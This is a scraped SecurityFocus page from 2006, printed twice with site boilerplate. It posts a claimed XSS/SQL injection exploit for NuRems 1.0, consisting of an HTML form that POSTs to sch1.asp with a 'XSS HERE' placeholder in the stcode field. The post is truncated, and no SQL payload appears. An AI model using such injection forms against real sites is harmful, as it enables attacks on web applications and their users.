Back to list
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
NuRems 1.0 Remote XSS/SQL Injection Exploit
Nov 11 2006 01:24PM
ajannhwt hotmail com
From:Filistin,Lubnan,IraQ,Turkey
NuRems 1.0 Remote XSS/SQL Injection Exploit
XSS:
<form name=RequestForm action="http://x/sch1.asp" method="POST">
<select name="stcode" size=10>
<option value="XSS HERE">Alabama
</select>
<td align=center>
<INPUT TYPE="submit" VALUE="Show cities...">
</form>
/XSS...
[ more ]
Privacy Statement
Copyright 2010, SecurityFocus
NuRems 1.0 Remote XSS/SQL Injection Exploit
XSS:
<form name=RequestForm action="http://x/sch1.asp" method="POST">
<select name="stcode" size=10>
<option value="XSS HERE">Alabama
</select>
<td align=center>
<INPUT TYPE="submit" VALUE="Show cities...">
</form>
/XSS...
[ more ]